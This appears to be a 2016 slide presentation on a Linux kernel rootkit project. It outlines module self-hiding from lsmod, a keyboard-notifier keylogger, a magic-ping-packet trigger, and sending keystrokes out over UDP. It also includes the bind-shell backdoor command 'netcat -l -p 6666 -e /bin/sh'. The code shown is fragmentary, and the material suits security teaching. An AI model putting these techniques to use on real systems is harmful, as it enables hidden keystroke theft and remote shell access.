

Rootkit

Rootkit: Keylogger/Backdoor

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January 19, 2016

Outline

Introduction

- Kernel Modules

Implementation

- Hiding

- Backdoor

- Keylogging

- Networking and Activation

Livedemo

Summary

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Introduction

- General: Rootkit
 - Software
 - Root privileges
 - Masking existence
- Our tool: Linux kernel rootkit
 - Keylogging
 - Backdoor

Introduction: Kernel Modules

- Kernel Modules

- No rebuild
- No reboot

- Example:

```
1  #include <linux/module.h>
2  #include <linux/kernel.h>
3
4  int init_module(void){
5      printk(KERN_INFO "Hello_world_1.\n");
6      return 0;
7  }
8  void cleanup_module(void){
9      printk(KERN_INFO "Goodbye_world_1.\n");
10 }
11
12 module_init(init_module);
13 module_exit(cleanup_module);
14
15 MODULE_LICENSE("GPL");
```

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Hiding

- Mask existence
 - Kernel modules not visible as a process
- `lsmod`
 - special exported symbol `extern struct module __this_module;`
 - `list_del (&(__this_module. list));`

```
1  struct module {
2      enum module_state state;
3
4      /* Member of list of modules */
5      struct list_head list;
6
7      /* Unique handle for this module */
8      char name[MODULE_NAME_LEN];
9      ..
10     // skipped for brevity
11 }
```

Backdoor

- Spanning userland process
 - `netcat -l -p 6666 -e /bin/sh`
 - `call_usermodehelper`

backdoor.c

Keylogging

- Linux Kernel provides function
 - Register a `struct notifier_block` `keyboard_notifier`
- `keyboard_hook` gets keycode as input
 - Mapping: Keycode → Character (US)

```
1  #include <linux/kernel.h>
2
3  static struct notifier_block keyboard_notifier = {
4      .notifier_call = keyboard_hook
5  };
6
7  int keyboard_hook(struct notifier_block *, unsigned long code, void *);
8
9  register_keyboard_notifier(&keyboard_notifier);
```

Networking and Activation

- Magic Packet
 - Ping Request where ID == Code
 - Used codes: 122 - 126
 - Nethook API
- Sending key characters
 - UDP datagram socket

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Demo...

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- Simple rootkit: easy
- Perfect rootkit: very hard

Bibliography



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